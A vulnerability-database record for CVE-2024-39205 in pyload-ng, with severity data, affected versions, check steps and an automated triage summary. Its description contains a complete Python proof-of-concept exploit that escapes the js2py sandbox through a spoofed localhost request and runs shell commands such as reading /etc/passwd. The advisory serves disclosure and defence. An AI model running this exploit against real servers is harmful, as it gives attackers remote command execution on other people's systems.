{"id":"CVE-2024-39205","kind":"vulnerability","aliases":["CVE-2024-39205","GHSA-r9pp-r4xf-597r"],"related":[],"title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.","summary":"pyload-ng passes requests to a js2py sandbox on its /flash/addcrypted2 endpoint, and js2py can be escaped to reach Python's subprocess module. An attacker who can reach the endpoint can run any shell command on the server.","severity":"critical","cvss":9.8,"epss":0.16538,"exploited":false,"exploited_at":null,"products":[{"name":"pyload-ng","fixed":[],"affected":"<= 0.5.0b3.dev85","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-94","package","pyload-ng","python","self-hosted"],"not_affected_if":["not-running-pyload-ng","python-3.12-or-above"],"how_to_check":"- Check the Python version the server runs: `python3 --version`; the advisory says the flaw applies to Python 3.11 and below.\n- Check the installed pyload-ng version: `pip show pyload-ng`; versions up to and including `0.5.0b3.dev85` are affected.\n- Confirm whether the js2py dependency is present in the environment.","fix":null,"status":"open","published_at":"2024-09-09T18:17:20+00:00","first_seen_at":"2026-11-16T16:08:26+00:00","triaged_at":"2026-11-16T16:08:53+00:00","updated_at":"2026-11-16T16:08:53+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-11-16T16:08:53Z","model":"claude-haiku-5-5","output":{"fix":"unknown","reach":"network","title":"pyload-ng: js2py sandbox escape lets remote requests run shell commands","impact":"high","summary":"pyload-ng passes requests to a js2py sandbox on its /flash/addcrypted2 endpoint, and js2py can be escaped to reach Python's subprocess module. An attacker who can reach the endpoint can run any shell command on the server.","audience":"developers","category":"package","nicknames":[],"who_cares":["pyload-ng","python","self-hosted"],"confidence":0.7,"fix_status":"unknown","needs_auth":"no","worst_case":"Attacker runs arbitrary shell commands on the server.","analyst_note":"Confirm the fixed version: the product data lists no fixed version, so check the GHSA-r9pp-r4xf-597r advisory page for a patched release.","how_to_check":"- Check the Python version the server runs: `python3 --version`; the advisory says the flaw applies to Python 3.11 and below.\n- Check the installed pyload-ng version: `pip show pyload-ng`; versions up to and including `0.5.0b3.dev85` are affected.\n- Confirm whether the js2py dependency is present in the environment.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["python-3.12-or-above","not-running-pyload-ng"],"who_is_affected":"Servers running pyload-ng up to and including 0.5.0b3.dev85 under Python 3.11 or lower are exposed, per the advisory. The advisory says pyload-ng does not use js2py on Python 3.12 or above, so those installs are not affected. The advisory says the endpoint is meant to accept only localhost connections, but the attacker can bypass that restriction with HTTP headers, so localhost-only deployments are not a complete safeguard.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000879,"input_tokens":5483,"output_tokens":661,"severity_before":"critical"},"analyst_status":"queued","analyst_note":"Confirm the fixed version: the product data lists no fixed version, so check the GHSA-r9pp-r4xf-597r advisory page for a patched release.","search":"'-1':257C,259C,260C,261C '-2024':12A,20A,116C '-28397':117C '-39205':13A,21A '-94':26B '/etc/passwd':199C '/flash/addcrypted2':46B,126C,292C '/marven11/cve-2024-28397-js2py-sandbox-escape),':120C '0.5.0':340C '1':198C '1024':325C '1234':276C '127.0.0.1':295C '597r':18A '9666':296C 'accept':140C 'access':152C 'achiev':156C 'although':133C 'anyon':334C 'api':127C,154C 'application/x-www-form-urlencoded':300C 'assign':113C 'attack':60B,88C 'b':275C,309C,311C 'b3.dev85':341C 'b64':273C,285C 'base':221C 'base64':178C 'base64.b64encode':274C 'bymarv':206C,213C,216C 'bypass':145C 'calc':200C 'calcul':203C 'class':220C 'cmd':195C,256C 'command':70B,96C,171C,191C 'communic':265C 'connect':142C 'console.log':266C 'contain':93C 'content':298C,302C 'content-length':301C 'content-typ':297C 'crypt':272C,282C,284C 'cve':11A,19A,115C 'cwe':25B 'data':278C,305C,306C 'decod':277C,326C 'def':314C 'design':137C 'detail':105C 'doesn':353C 'encod':307C 'endpoint':47B,65B,128C,135C 'escap':10A,52B,112C 'execut':102C,173C 'f':269C,279C,290C 'findpopen':225C,249C,254C 'function':224C,268C 'getattr':209C,222C 'getattribut':217C 'ghsa':15A 'ghsa-r9pp-r4xf-597r':14A 'github.com':119C 'github.com/marven11/cve-2024-28397-js2py-sandbox-escape),':118C 'gnome':202C 'gnome-calcul':201C 'goe':192C 'hack':205C,211C 'hacked.__getattribute__':214C 'head':196C 'header':150C 'host':34B,183C,186C,294C,319C 'http':149C 'http/1.1':293C 'immedi':104C 'impact':333C 'import':175C,177C,181C 'input':185C,188C 'int':187C 'item':235C,244C,250C 'item.__module__':239C 'item.__name__':241C,246C 'jk':286C 'js2py':8A,42B,49B,106C,356C 'latest':338C 'len':304C 'length':303C 'let':194C,204C,208C,227C,230C,234C 'localhost':141C 'main':315C,331C,332C 'modifi':168C 'modul':58B 'n':197C,310C,313C 'n11':207C,215C,219C,253C,267C,271C 'name':330C 'ng':3A,24A,30B,37B,78C,132C,345C,352C 'null':258C,262C,263C 'o':226C 'o.__subclasses__':233C,236C 'obj':210C,218C,255C 'obj.__getattribute__':223C 'object.getownpropertynames':212C 'packag':27B,280C 'pass':38B 'payload':190C,288C 'pkg':281C 'poc':158C,160C 'poc.py':164C 'popen':242C 'port':184C,189C,320C 'post':291C 'print':327C 'provid':162C 'pyload':2A,23A,29B,36B,77C,131C,344C,351C 'pyload-ng':1A,22A,28B,35B,76C,130C,343C,350C 'python':31B,55B,174C 'python3.11':81C,347C 'python3.12':358C 'quot':182C,283C,287C 'r':312C 'r4xf':17A 'r9pp':16A 'rce':6A,87C,157C 'reach':54B,63B 'replac':308C 'request':39B,92C,289C,322C 'respons':323C,328C 'restrict':147C 'result':228C,248C,252C 'return':243C,251C,270C 'run':67B,79C,336C 's.connect':318C 's.recv':324C 's.send':321C 'sandbox':9A,43B,111C 'self':33B 'self-host':32B 'send':90C 'server':73B,100C 'shell':69B,95C,170C 'socket':176C 'socket.socket':317C 'subprocess':57B,240C 'summari':74C 'thus':151C 'true':264C 'type':247C,299C 'urllib.parse':180C 'use':123C,148C,355C 'version':339C 'victim':99C 'vulner':4A,85C,109C","nicknames":[],"mitigations":[],"who_affected":"Servers running pyload-ng up to and including 0.5.0b3.dev85 under Python 3.11 or lower are exposed, per the advisory. The advisory says pyload-ng does not use js2py on Python 3.12 or above, so those installs are not affected. The advisory says the endpoint is meant to accept only localhost connections, but the attacker can bypass that restriction with HTTP headers, so localhost-only deployments are not a complete safeguard.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"none","audience":"developers","plain_action":null,"pkeys":["pyloadng"],"ptokens":["ng","pyload"],"labels":["critical","cwe94","package","pyloadng","pypi","python","selfhosted"],"campaign_type":null,"search_a":"'-2024':12A,20A '-39205':13A,21A '597r':18A 'cve':11A,19A 'escap':10A 'ghsa':15A 'ghsa-r9pp-r4xf-597r':14A 'js2py':8A 'ng':3A,24A 'pyload':2A,23A 'pyload-ng':1A,22A 'r4xf':17A 'r9pp':16A 'rce':6A 'sandbox':9A 'vulner':4A","search_b":"'-94':26B '/flash/addcrypted2':46B 'attack':60B 'command':70B 'cwe':25B 'endpoint':47B,65B 'escap':52B 'host':34B 'js2py':42B,49B 'modul':58B 'ng':30B,37B 'packag':27B 'pass':38B 'pyload':29B,36B 'pyload-ng':28B,35B 'python':31B,55B 'reach':54B,63B 'request':39B 'run':67B 'sandbox':43B 'self':33B 'self-host':32B 'server':73B 'shell':69B 'subprocess':57B","search_c":"'-1':257C,259C,260C,261C '-2024':116C '-28397':117C '/etc/passwd':199C '/flash/addcrypted2':126C,292C '/marven11/cve-2024-28397-js2py-sandbox-escape),':120C '0.5.0':340C '1':198C '1024':325C '1234':276C '127.0.0.1':295C '9666':296C 'accept':140C 'access':152C 'achiev':156C 'although':133C 'anyon':334C 'api':127C,154C 'application/x-www-form-urlencoded':300C 'assign':113C 'attack':88C 'b':275C,309C,311C 'b3.dev85':341C 'b64':273C,285C 'base':221C 'base64':178C 'base64.b64encode':274C 'bymarv':206C,213C,216C 'bypass':145C 'calc':200C 'calcul':203C 'class':220C 'cmd':195C,256C 'command':96C,171C,191C 'communic':265C 'connect':142C 'console.log':266C 'contain':93C 'content':298C,302C 'content-length':301C 'content-typ':297C 'crypt':272C,282C,284C 'cve':115C 'data':278C,305C,306C 'decod':277C,326C 'def':314C 'design':137C 'detail':105C 'doesn':353C 'encod':307C 'endpoint':128C,135C 'escap':112C 'execut':102C,173C 'f':269C,279C,290C 'findpopen':225C,249C,254C 'function':224C,268C 'getattr':209C,222C 'getattribut':217C 'github.com':119C 'github.com/marven11/cve-2024-28397-js2py-sandbox-escape),':118C 'gnome':202C 'gnome-calcul':201C 'goe':192C 'hack':205C,211C 'hacked.__getattribute__':214C 'head':196C 'header':150C 'host':183C,186C,294C,319C 'http':149C 'http/1.1':293C 'immedi':104C 'impact':333C 'import':175C,177C,181C 'input':185C,188C 'int':187C 'item':235C,244C,250C 'item.__module__':239C 'item.__name__':241C,246C 'jk':286C 'js2py':106C,356C 'latest':338C 'len':304C 'length':303C 'let':194C,204C,208C,227C,230C,234C 'localhost':141C 'main':315C,331C,332C 'modifi':168C 'n':197C,310C,313C 'n11':207C,215C,219C,253C,267C,271C 'name':330C 'ng':78C,132C,345C,352C 'null':258C,262C,263C 'o':226C 'o.__subclasses__':233C,236C 'obj':210C,218C,255C 'obj.__getattribute__':223C 'object.getownpropertynames':212C 'packag':280C 'payload':190C,288C 'pkg':281C 'poc':158C,160C 'poc.py':164C 'popen':242C 'port':184C,189C,320C 'post':291C 'print':327C 'provid':162C 'pyload':77C,131C,344C,351C 'pyload-ng':76C,130C,343C,350C 'python':174C 'python3.11':81C,347C 'python3.12':358C 'quot':182C,283C,287C 'r':312C 'rce':87C,157C 'replac':308C 'request':92C,289C,322C 'respons':323C,328C 'restrict':147C 'result':228C,248C,252C 'return':243C,251C,270C 'run':79C,336C 's.connect':318C 's.recv':324C 's.send':321C 'sandbox':111C 'send':90C 'server':100C 'shell':95C,170C 'socket':176C 'socket.socket':317C 'subprocess':240C 'summari':74C 'thus':151C 'true':264C 'type':247C,299C 'urllib.parse':180C 'use':123C,148C,355C 'version':339C 'victim':99C 'vulner':85C,109C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2024-09-07T14:49:20+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-r9pp-r4xf-597r","url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","severity":"critical","published_at":"2024-09-09T18:17:20+00:00","modified_at":"2026-11-16T16:03:26+00:00","first_seen_at":"2026-11-16T16:08:26+00:00","fetched_at":"2026-11-16T16:17:15+00:00","note":null},{"source":"nvd","external_id":"CVE-2024-39205","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39205","severity":null,"published_at":"2024-10-28T20:15:05+00:00","modified_at":"2026-06-17T07:41:31+00:00","first_seen_at":"2026-11-16T16:38:06+00:00","fetched_at":"2026-11-16T16:38:06+00:00","note":null}],"documents":[{"id":171045,"url":"https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-r9pp-r4xf-597r","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":171046,"url":"https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2024-09-07T14:49:20+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.16538,"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-39205"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}